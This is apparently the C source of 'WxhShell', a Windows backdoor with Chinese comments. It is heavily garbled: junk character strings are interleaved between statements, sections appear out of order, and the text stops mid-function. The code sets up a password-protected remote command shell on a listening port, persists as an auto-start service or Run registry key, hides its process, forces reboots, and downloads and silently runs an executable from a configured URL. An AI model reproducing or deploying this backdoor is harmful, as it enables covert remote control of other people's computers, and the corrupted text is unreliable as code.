Ji>drn PROCNTQSIP NtQueryInformationProcess; !v;N@C3C 8hZ+[E} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @-Tt<pl'L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Lr G+p` 1WRQjT=o HANDLE hProcess; a.#`> PROCESS_BASIC_INFORMATION pbi; E4GtJ`{X Cb5;l~}L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $DeHo"mg7m if(NULL == hInst ) return 0; Tz[ck'k [QEV6S] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -/Pg[Lx7Pb g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HKbyi~8N= NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m-4P*P$X kHygif
!I4 if (!NtQueryInformationProcess) return 0; FCnOvF65 $8vZiB!" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZgK[,<2 if(!hProcess) return 0; xr}3vJ7 ?zGx]?1P1< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VPoA,;Y"- mD<- <]SYp CloseHandle(hProcess); T^> ST >7i&(6L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $(/=Wn if(hProcess==NULL) return 0;
_GS_R%b L&ucTc= HMODULE hMod; 7ESSx"^B char procName[255]; F_.rLgGY unsigned long cbNeeded; CT,P Q GdHFgxI if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t%Sgw%f ^S:S[0\, CloseHandle(hProcess); Cp4 U`] $`,10uw if(strstr(procName,"services")) return 1; // 以服务启动 *;cvG?V :}'5'oVG return 0; // 注册表启动 vqO d`_) } DSjEoWj R8LJC]6Bh // 主模块 ovm109fTx int StartWxhshell(LPSTR lpCmdLine) V>D8l @ { 4eH:eCZze SOCKET wsl; (7Su{tq BOOL val=TRUE; P/i{_r int port=0; ~(i#A> struct sockaddr_in door; >-U'mkIH 3L}eFg,d if(wscfg.ws_autoins) Install(); '.
5&Z +~xY} port=atoi(lpCmdLine); 'u@,,FFz[K K#Ia19au5 if(port<=0) port=wscfg.ws_port; yp}J+/PX} QS7<7+ WSADATA data; wW &q)WOi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |i_+b@Lul _y:-_q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )Fk*'6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9o%k [n door.sin_family = AF_INET; e1cqzhI=nA door.sin_addr.s_addr = inet_addr("127.0.0.1"); e}l F#$ door.sin_port = htons(port); tVfZ~qJ )
uM*`% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eX)'C>4W closesocket(wsl); u}I-#j)wap return 1; O-P'Ff"}t } Td,2.YMQ NM
FgCL if(listen(wsl,2) == INVALID_SOCKET) { uuHg=8( closesocket(wsl); EzII!0 F return 1; 2<$pai"yl } 'q>2WP|UY9 Wxhshell(wsl); 7R5m|h`M WSACleanup(); lw+54lZX| ob3)bI oM return 0; _[)f<`!g_V Hk&op P9) } |D*a"*1+A wrP3:!= // 以NT服务方式启动 mVXwU](N VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 74_':,u;]~ { }%75Wety DWORD status = 0; z)%Ke~)<\@ DWORD specificError = 0xfffffff; S\76`Ot u~rPqBT{d3 serviceStatus.dwServiceType = SERVICE_WIN32; <JUumrEo serviceStatus.dwCurrentState = SERVICE_START_PENDING; c,>y1%V*S{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {L'uuG\9U serviceStatus.dwWin32ExitCode = 0; 3~q#P serviceStatus.dwServiceSpecificExitCode = 0; B*Z}=$1j serviceStatus.dwCheckPoint = 0; !NqLBrcv 0 serviceStatus.dwWaitHint = 0; &=f] a ,FIG5-e,} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'p_|Rw> if (hServiceStatusHandle==0) return; u.yYE,9 ZR]p7{8B status = GetLastError(); W3+;1S$k if (status!=NO_ERROR) %Ev)Hk { g)!d03Qoy serviceStatus.dwCurrentState = SERVICE_STOPPED; (N"9C+S} serviceStatus.dwCheckPoint = 0; vzX%x ul serviceStatus.dwWaitHint = 0; &s#O iF8 serviceStatus.dwWin32ExitCode = status; mUan(iJ serviceStatus.dwServiceSpecificExitCode = specificError; .R^R32ln SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cl6P,C return; _xsHU`(J# } OYyF*F&S[ :(A k: serviceStatus.dwCurrentState = SERVICE_RUNNING; HXm&` serviceStatus.dwCheckPoint = 0; 3>>Ca;>$ serviceStatus.dwWaitHint = 0; KzZfpdI92 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n\GN}?4 } x)R1aq y(<+= // 处理NT服务事件,比如:启动、停止 '}l7=r VOID WINAPI NTServiceHandler(DWORD fdwControl) {K N7Y"AI { q#6|/R* switch(fdwControl) ffW-R)U|3 { l&|Tb8_' case SERVICE_CONTROL_STOP: bg\9Lbjr serviceStatus.dwWin32ExitCode = 0; G#L6; serviceStatus.dwCurrentState = SERVICE_STOPPED; !c"EgP+ serviceStatus.dwCheckPoint = 0; rF$S serviceStatus.dwWaitHint = 0; Aflf]G1 { 7aS%;EU SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xv+!)j< } QVF561Yz return; yi8AzUW
cW case SERVICE_CONTROL_PAUSE: fBb:J + serviceStatus.dwCurrentState = SERVICE_PAUSED; /&Hl62Ak break; Fs}B\R/J case SERVICE_CONTROL_CONTINUE: (]Q0L{~K serviceStatus.dwCurrentState = SERVICE_RUNNING; C%#w1k break; Zd|u>tn case SERVICE_CONTROL_INTERROGATE: E]Qd5l break; WN $KS"b6} }; V~_6t{L SetServiceStatus(hServiceStatusHandle, &serviceStatus); Alv"D } c!kz wc( %x./>-[t // 标准应用程序主函数 +TW,!.NBG int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fh*7VuAc { Cp?6vu|RA "#:h#uRUb // 获取操作系统版本 ~tLvD [n[ OsIsNt=GetOsVer(); C1#f/o -> GetModuleFileName(NULL,ExeFile,MAX_PATH); B?db`/G9 aECpe'!m4 // 从命令行安装 $0cE iq?Hf if(strpbrk(lpCmdLine,"iI")) Install(); e= XC$Jv |hS^eK_ // 下载执行文件 EK Ac>g if(wscfg.ws_downexe) { \'r;1W if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %+((F+[ WinExec(wscfg.ws_filenam,SW_HIDE); 2K^xN]]rG } B qo#cnlG +y_V$q$G if(!OsIsNt) { usNq] // 如果时win9x,隐藏进程并且设置为注册表启动 ec,Bu7'8 HideProc(); \=[38?QOY StartWxhshell(lpCmdLine); _H@8qR } (QdLz5\ else [s[!PlazX if(StartFromService()) )xL_jSyh // 以服务方式启动 tb>Q#QB&u StartServiceCtrlDispatcher(DispatchTable); g,G{%dGsk else |2GrOM&S // 普通方式启动 ewdcAF5 StartWxhshell(lpCmdLine); ^?:
Az 4}Y? :R return 0; ?Ld:HE } >[N6_*K] cJ>^@pd{ sC ?e%B sY[!=` @ =========================================== /g1;`F(MS/ ~<}?pDA}~ o{' JO3 /eBcPu"[Vb ? <w[ZWytm aI;fNy/K " t]{, 7.S y#P_ }Kfo #include <stdio.h> E*yot[kj #include <string.h> C,8@V` #include <windows.h> g2vt(Gf ; #include <winsock2.h> mC$ te #include <winsvc.h> *l@T
9L[M' #include <urlmon.h> bo??91B^7 +O1=Ao #pragma comment (lib, "Ws2_32.lib") Va4AE)[/* #pragma comment (lib, "urlmon.lib") ?btX&:j2P o9v.]tb #define MAX_USER 100 // 最大客户端连接数 b%X<'8z9Z #define BUF_SOCK 200 // sock buffer bv``PSb3 #define KEY_BUFF 255 // 输入 buffer PKev)M;C+ Pk8(2fAYk #define REBOOT 0 // 重启 eH 9-GGr #define SHUTDOWN 1 // 关机 BOl*. t qvs[Gkaa@ #define DEF_PORT 5000 // 监听端口 z-|d/#h ;
X/'ujg #define REG_LEN 16 // 注册表键长度 4)9Pgp: #define SVC_LEN 80 // NT服务名长度 :io~{a#.2\ m;<5QK8f // 从dll定义API +p-S36K~,7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2bf#L?5g/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3P*"$ fH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @iVEnb.' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cMfnc.P\K 2~)q080jh // wxhshell配置信息 ^.[+)0I struct WSCFG { WWA!_ int ws_port; // 监听端口 S3dcE"hg char ws_passstr[REG_LEN]; // 口令 Egl1$,e int ws_autoins; // 安装标记, 1=yes 0=no i;#AW($+a char ws_regname[REG_LEN]; // 注册表键名 UvGX+M,z' char ws_svcname[REG_LEN]; // 服务名 CasFj9, char ws_svcdisp[SVC_LEN]; // 服务显示名 ,*wj~NE char ws_svcdesc[SVC_LEN]; // 服务描述信息 tY?evsVgz char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6}_J;g\| int ws_downexe; // 下载执行标记, 1=yes 0=no Bn
Nu/02.= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]Wc 2$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >;X^+JH!) 7 v(<<> }; wHErF
#xo z6OJT6<' // default Wxhshell configuration zQtx!k= struct WSCFG wscfg={DEF_PORT, peU1
t:k? "xuhuanlingzhe", l 4cTN
@E 1, 6
wD "Wxhshell", Byns6k "Wxhshell", M'xG.' "WxhShell Service", Lw{'mtm "Wrsky Windows CmdShell Service", p|=0EWo4U "Please Input Your Password: ", o&HFlDZ5jO 1, {"^#CSi "http://www.wrsky.com/wxhshell.exe", =!2(7Nr "Wxhshell.exe" 84-7!< 6i }; 7=4V1FS6i j,g.Eo // 消息定义模块 E"%G@,|3* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -\~x^5K char *msg_ws_prompt="\n\r? for help\n\r#>"; YfH+kDT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LMYO>]dg
char *msg_ws_ext="\n\rExit."; _MGhG{p7t char *msg_ws_end="\n\rQuit."; Il#9t?/ char *msg_ws_boot="\n\rReboot..."; n4EZy<~m char *msg_ws_poff="\n\rShutdown..."; h!1CsLd[ char *msg_ws_down="\n\rSave to "; K/LoHWy+n* jF%l\$)/ char *msg_ws_err="\n\rErr!"; @xAfD{}f! char *msg_ws_ok="\n\rOK!"; `L"{sW6S ZQDw|*a@ char ExeFile[MAX_PATH]; tP/R9Ezp int nUser = 0; y &%2 HANDLE handles[MAX_USER]; dRLvej, int OsIsNt; 0bG2YMs xw rleB SERVICE_STATUS serviceStatus; r/6h} SERVICE_STATUS_HANDLE hServiceStatusHandle; u}KEH@yv
>l!DWi6 // 函数声明 2<+9lk int Install(void); 2a:JtJLl int Uninstall(void); RkBbu4uQ- int DownloadFile(char *sURL, SOCKET wsh); J+8T Ie int Boot(int flag); qXQ7Jg9 void HideProc(void); 2o-Ie/"d\ int GetOsVer(void); )V*V int Wxhshell(SOCKET wsl); jiAN8t*P void TalkWithClient(void *cs); Yc1ve int CmdShell(SOCKET sock); m_1BB$lyP2 int StartFromService(void); 38O_PK int StartWxhshell(LPSTR lpCmdLine); mkt%|Kb. /bv4/P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {AqPQeNgz VOID WINAPI NTServiceHandler( DWORD fdwControl ); "4qv
yVOE V$<5` // 数据结构和表定义 FG5t\!dt< SERVICE_TABLE_ENTRY DispatchTable[] = )3~):+ { [?Q$b5j/M {wscfg.ws_svcname, NTServiceMain}, +0WI;M4i {NULL, NULL} mw&)j R$& }; giz#(61j^ OO+QH 2j // 自我安装 DU-&bm int Install(void) G2}e@L0 { +eD+Z.{ char svExeFile[MAX_PATH]; )%&~CW+ HKEY key; xA2"i2k9 strcpy(svExeFile,ExeFile); ,_2ZKO/k$ :*/`"M)' // 如果是win9x系统,修改注册表设为自启动 + %07J6 if(!OsIsNt) { ln6Hr^@5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `>cBR,)r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); weky
5(: RegCloseKey(key); P ||:?3IH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2hI|]p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *_7%n-k RegCloseKey(key); V0x;*)\PYm return 0; rSvQarT } rik0F } $Y5m"wySZ } d%: else { pT` oC& O
o+pi$W // 如果是NT以上系统,安装为系统服务 UMbM3m=\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L) ]|\| if (schSCManager!=0) v5;V$EGD& { f?A1=lm~ SC_HANDLE schService = CreateService |[}!E/7>b ( I
;Sm<P7* schSCManager, ?
@Y'_f wscfg.ws_svcname, <wZ2S3RNA wscfg.ws_svcdisp, &%Lps_+fJ SERVICE_ALL_ACCESS, Akbt%& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ma,2_oq+ SERVICE_AUTO_START, ]V K%6PQ0 SERVICE_ERROR_NORMAL, usR:-1{ svExeFile, e1j3X\ \ NULL, u
6(O; NULL, (}u2) 9 NULL, ]l
WEdf+ NULL, _c4kj NULL $ RDwy)9 ); x2bKFJ>e@ if (schService!=0) JXIxk"m { $kA'9Y CloseServiceHandle(schService); cn$o$:tW CloseServiceHandle(schSCManager); -6OgM} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +(-L strcat(svExeFile,wscfg.ws_svcname); ZCAdCKX| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?2#MU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x$;I E RegCloseKey(key); jLRh/pbz4 return 0; =x/Ap1 } %|:Gn) 8 } OJGEX}3' CloseServiceHandle(schSCManager); `"/s," c:D } *+ql{\am4N } #Jo#[-r uoM;p' return 1; 8i=c|k,GL. } >vP DF+ u <n)J~B^ // 自我卸载 Az}.Z'LJ int Uninstall(void) 5mxYzu;#] { J7`fve HKEY key; }j/($, #MyR:V*a if(!OsIsNt) { dp3>G2Yq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?W*{%my RegDeleteValue(key,wscfg.ws_regname); Nj<}t/e RegCloseKey(key); +M"Fv9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G'5p /: RegDeleteValue(key,wscfg.ws_regname); s^{hdCCl67 RegCloseKey(key); LK}Ih@f return 0; aeQvIob@ } h2SVDKj } Y%FQ]Q=+ } WPmH4L>T else { `m.).Hda =o@CCUKpj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'edd6yTd if (schSCManager!=0) Vy:I[@6@+ { rfgkw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l$PSID if (schService!=0) 3
?1qI'5 { (}W+W\. if(DeleteService(schService)!=0) { =z5'A|Wa=, CloseServiceHandle(schService); pO*$'8L CloseServiceHandle(schSCManager); 3 %ppvvQ return 0; F3XB}; } LyaFWx CloseServiceHandle(schService); aL9yNj}2 } 4$);x/
a CloseServiceHandle(schSCManager); 7hs1S| } J|9kWjOf+i } Uq:WW1=kh G% |$3 return 1; O T*C7= } q`HuVilNH _(K )(& // 从指定url下载文件 x}Y int DownloadFile(char *sURL, SOCKET wsh) -VqZw&" { tai=2,' HRESULT hr; g[Z$\A?ZbZ char seps[]= "/"; uANG_sX^n char *token; jT~PwDSFt3 char *file; 6zmt^U char myURL[MAX_PATH]; .^aakM char myFILE[MAX_PATH]; MM}lW-q; *&f^R}O strcpy(myURL,sURL); kYlsjM token=strtok(myURL,seps); 0pO{ {F while(token!=NULL) T<hS { s$cr|p;7# file=token; #JmVq-) token=strtok(NULL,seps); 9Q~9C9{+ } M bj{C >UUcKq1M: GetCurrentDirectory(MAX_PATH,myFILE); pO^PkX strcat(myFILE, "\\"); Tz\ PQ)! strcat(myFILE, file); i`m&X6)\j send(wsh,myFILE,strlen(myFILE),0); ?ztI8I/ send(wsh,"...",3,0); BB x359 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XX85]49`% if(hr==S_OK) BGtr= &Hq return 0; w\"~*(M else -C]k YQ
return 1; #41xzN 9O8na
'w } @/MI
Oxg[ /6=IL // 系统电源模块 m*Zq3j int Boot(int flag) n~1F[ * { RcZg/{[{ HANDLE hToken; #ujry.m TOKEN_PRIVILEGES tkp; J`E,Xw>2 `D44I;e^1; if(OsIsNt) { ($Cy-p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #%4XZ3j#j; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "!V-@F$@N tkp.PrivilegeCount = 1; R`[jkJrc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ''bh{
.x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DFgQ1:6[ if(flag==REBOOT) { ?Uq;> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -YDA,.Ic? return 0; 8#m,TOp } InO;DA\ else { !"v[\||1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Re=()M return 0; Wq5}SM } k? <.yr1 } !lVOZ% else { _Sq*m= if(flag==REBOOT) { ?/M: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;u+k!wn return 0; x7<2K( } .wU0F else { .tdaj6x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |rU? return 0; CPW^pGT+i } 2)~`.CD?L } y%Q0*
_ Bi.,@7|> return 1; Q #Tg)5.\ } m4 k:uk7N 0N|l1Sn // win9x进程隐藏模块 LD=e Mk:
~ void HideProc(void) 6"h,0rR { v)b_bU]Hx 4.=jKj9j HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5*O*p `Ba if ( hKernel != NULL ) NmuzAZr { 5@lVuMIYT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _%@dlT? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AV>_bw. FreeLibrary(hKernel); |p .o ^ } ^xyU*A}D afw`Heaa2( return; `WUyffS/! } &<=?O
a wit
rC> // 获取操作系统版本 o7r7HmA@ int GetOsVer(void) %`_Rl>@K= { pjN4)y>0 OSVERSIONINFO winfo; }T5
E^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fN_qJm#:$y GetVersionEx(&winfo); P=[_W;->} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7es<%H return 1; 6~!QibA|P else b8
^O"oDrp return 0; C09rgEB\B } {;L,|(o^ Cqs+ o^q // 客户端句柄模块 W ZT) LYA int Wxhshell(SOCKET wsl) ^Q\Hy\ { 57K\sT4[ SOCKET wsh; BXb=NE struct sockaddr_in client; :R{pV7<O DWORD myID; kR+7JUq] 68?>#o865 while(nUser<MAX_USER) +SB>> { YMU2^,3 int nSize=sizeof(client); %/4_|.8u wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]vflx^<? if(wsh==INVALID_SOCKET) return 1; xZ]QT3U+ Yyr
qO^9m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k-N}tk/5 if(handles[nUser]==0) y;if+ closesocket(wsh); ,Y4>$:#n/ else UhKd o nUser++; d =p=eUd2 } q'Nafa&a) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E!9(6G4 )H>?K0I return 0; Kqz+:E8D } n *EGOS !(F?Np Am // 关闭 socket [v+5|twxpU void CloseIt(SOCKET wsh) iG ,z3/~v { ^@C/2RX! closesocket(wsh); aXyFpGdb9 nUser--; A+MG?k>yg ExitThread(0); WM;5/;bB } >B<#,G Dv*d$ // 客户端请求句柄 @__m>8wn void TalkWithClient(void *cs) 9/`3=r@ { 9SBTeJ$RZ &qzy?/i8 SOCKET wsh=(SOCKET)cs; Y?qUO2 char pwd[SVC_LEN]; @#p6C char cmd[KEY_BUFF]; #tIeI6Qw char chr[1]; D#D55X^6* int i,j; #P1U]@ MtVvi6T while (nUser < MAX_USER) { /^L<q 6)PnzeYW if(wscfg.ws_passstr) { vqAEF^HYry if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;X
N Ahg7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rb*0YCi //ZeroMemory(pwd,KEY_BUFF); @6
a'p i=0; :}R,a=N while(i<SVC_LEN) { y=aWSb2y' e*yl _iW // 设置超时 gN2oUbf8 fd_set FdRead; @uz(h'~ struct timeval TimeOut; s f.z(o FD_ZERO(&FdRead); va:<W H FD_SET(wsh,&FdRead); )$GCur~ TimeOut.tv_sec=8; Cw"[$E'J TimeOut.tv_usec=0; I)kc[/^j$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w!pj);jy{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~z\a:+ 8Vjv #pm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WH"'Ju5} pwd=chr[0]; lGt:.p{NG if(chr[0]==0xd || chr[0]==0xa) { %^d<go^ pwd=0; =CW> ;h] break; (<
>L fn } jz~#K;3=, i++; Zd'Yu{<_2N } /:^nG+ O+|ipw*B% // 如果是非法用户,关闭 socket tLU@&NY` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @^<&LG5^ } '"+Gn52# *fs[]q'Q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TNckyP75u send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XDAP[V E+ |K3EJ while(1) { gj
iFpW4 ACy}w?D< ZeroMemory(cmd,KEY_BUFF); >9mj/P D ]imVIu // 自动支持客户端 telnet标准 d'&OEGb< j=0; 4x<H=CJC while(j<KEY_BUFF) { teI?.M9r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xC9{hXg! cmd[j]=chr[0]; lU%oU&P/"S if(chr[0]==0xa || chr[0]==0xd) { TFm[sO0RZ cmd[j]=0; =1k%T {> break; [y}h } j{'_sI{{ j++; en/ h`h]h } g\?v 5 Lyf5Yf([- // 下载文件 t%G.i@{pkp if(strstr(cmd,"http://")) { f _$hK9I send(wsh,msg_ws_down,strlen(msg_ws_down),0); x[$KZGK+GL if(DownloadFile(cmd,wsh)) a6gPJF[Jo send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+(g.mvK> else vQp'bRR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _!VtM#G[ } gaxM# else { Phk3Jv
2 S~( P switch(cmd[0]) { 2@lGY_O!m |5%T) // 帮助 by0K:*C case '?': {
x`FTy&g send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); + kT ]qH break; uY(8KW } @87Y/_l // 安装 W!R0:- case 'i': { :<bhQY if(Install()) |O6/p7+. send(wsh,msg_ws_err,strlen(msg_ws_err),0); KO7& |